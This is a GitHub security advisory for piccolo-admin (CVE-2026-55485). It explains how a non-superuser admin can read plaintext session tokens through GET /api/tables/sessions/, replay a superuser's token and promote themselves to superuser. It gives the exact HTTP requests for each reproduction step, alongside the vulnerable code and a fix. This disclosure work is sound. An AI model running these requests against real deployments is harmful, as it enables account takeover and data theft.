GitHub Advisoryadvisory · PyPI

GHSA-2gh4-jmwq-rr8w piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/.

HIGH Published 2026-08-28 Modified 2026-08-28 Official page ↗
Aliases
CVE-2026-55485
Ecosystem
PyPI
Packages
piccolo-admin
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-200, CWE-269, CWE-863
Reviewed
2026-08-28

Affected packages

• PyPI piccolo-admin: < 1.14.0 → fixed in 1.14.0

Description

Summary `piccolo_admin` uses a helper called `superuser_validators` to gate access to the user and session tables for non-superusers. The helper rejects `PUT`, `PATCH`, `DELETE`, and `POST`, but does not reject `GET`. The `sessions` table stores live session tokens in plaintext, and the token column is not marked `secret=True`, so it is included in every `GET` response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own `Cookie: id=…`, impersonate that user (including the superuser), and then permanently self-promote by writing `superuser = true` on their own row. The chain is reachable on a realistic, documented configuration: a deployer adds the `Sessions` (and `User`) tables to `create_admin([...])` so superusers have a UI to monitor and revoke sessions. Affected component • File: `piccolo_admin/endpoints.py` • Function: `superuser_validators` (around line 419) ```python def superuser_validators(piccolo_crud: PiccoloCRUD, request: Request): user: BaseUser = request.user.user if not user.superuser: if request.method.upper() in ["PUT", "PATCH", "DELETE", "POST"]: raise HTTPException( detail="Only superusers can perform these actions.", status_code=405, ) ``` The method check is a deny-list instead of an allow-list; `GET` is absent. Compounding the issue, `SessionsBase.token` in `piccolo_api/session_auth/tables.py` is a `Varchar` without `secret=True`, so the default `exclude_secrets=True` in `PiccoloCRUD` does not strip it. Preconditions 1. Network reachability to the admin. 2. Valid credentials for a non-superuser admin (`admin=True, superuser=False` — the default role created by `BaseUser.create_user(admin=True)`). 3. The deployment includes the `Sessions` table (and typically the `User` table) in `create_admin([...])` — the documented pattern for "active sessions" management UIs. Steps to reproduce 1. Log in as the non-superuser admin (`john / john123`). Open the *Piccolo User* table and confirm john's `SUPERUSER` column is ✗. *(See Screenshot 1.)* 2. Attempt the target write directly. Send the following request: ```http PATCH /api/tables/piccolo_user/2/ HTTP/1.1 Host: target:8001 Content-Type: application/json Cookie: id=; csrftoken= X-CSRFToken: {"superuser": true} ``` The server returns: ``` HTTP/1.1 405 {"detail":"Only superusers can perform these actions."} ``` The same response is shown both in the dashboard banner *(Screenshot 2)* and in Burp Repeater *(Screenshot 3)*. This establishes the privilege boundary that the bug will break. 3. Leak the credential. As the same john user, request: ```http GET /api/tables/sessions/ HTTP/1.1 Host: target:8001 Cookie: id=; csrftoken= ``` Response: `200 OK` containing every active session in plaintext, e.g. ```json {"rows":[ {"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","user_id":1, ...}, {"token":"...","user_id":2, ...}, ... ]} ``` Copy the `token` value of any row whose `user_id` matches the superuser. That string IS the live session cookie of that user. *(Screenshot 4.)* 4. Replay the step-2 PATCH with the stolen cookie. Send the exact same request as step 2, changing only the `Cookie: id=` value to the stolen token: ```http PATCH /api/tables/piccolo_user/2/ HTTP/1.1 Host: target:8001 Content-Type: application/json Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken= X-CSRFToken: {"superuser": true} ``` Response: `200 OK`, body shows `"superuser": true` for john. *(Screenshot 5.)* 5. Verify persistence. Log in fresh as `john / john123` (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed — the elevation is permanent on john's own row. Impact Full superuser takeover of the admin from any non-superuser admin account. The promoted attacker can: • read/write/delete any row in any table the admin exposes; • revoke any other session, locking out other admins; • change any user's password; • export data (including via the bulk CSV download forms); • plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports. Persistence is automatic — once the attacker writes `superuser=true` on their own row in step 4, the stolen cookie can be discarded. Suggested fix Primary (single-line): make `superuser_validators` reject all requests from non-superusers — there is no legitimate non-superuser use case for the user or session tables in this context: ```python def superuser_validators(piccolo_crud, request): if not request.user.user.superuser: raise HTTPException( status_code=403, detail="Only superusers can access this resource.", ) ``` Defence in depth: in `piccolo_api/session_auth/tables.py`, mark `SessionsBase.token` with `secret=True`. The existing `exclude_secrets=True` default on `PiccoloCRUD` then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer. Severity CVSS 3.1: 8.8 HIGH — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` Reasoning: • AV:N — accessible over the network. • AC:L — single GET; no race or timing dependency. • PR:L — requires non-superuser admin credentials (the default admin role). • UI:N — no victim interaction needed. • S:U — scope kept Unchanged to be conservative; some auditors may prefer `S:C` (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate. • C:H / I:H / A:H — full read, full write, full availability impact on the admin's data and on other users' sessions. Weaknesses • CWE-269 Improper Privilege Management *(primary)* • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor • CWE-863 Incorrect Authorization Notes for the maintainer • The vulnerability is reachable on any version where `superuser_validators` uses a method deny-list and `SessionsBase.token` is not `secret=True`. I tested against `piccolo_admin 1.13.0` + `piccolo_api 1.9.0`. • The shipped `admin_demo` does not expose the `Sessions` table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal `create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions)` configuration, which mirrors the documented "Sessions admin view" pattern. • I'm happy to coordinate disclosure timing and validate any candidate patch.

Related

Alias · CVE (1)

  • CVE-2026-55485 Piccolo Admin is an admin interface and content management system for Python, built on top of Piccolo. vulnerability

Weakness · CWE (3)

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness
  • CWE-269 Improper Privilege Management weakness
  • CWE-863 Incorrect Authorization weakness

References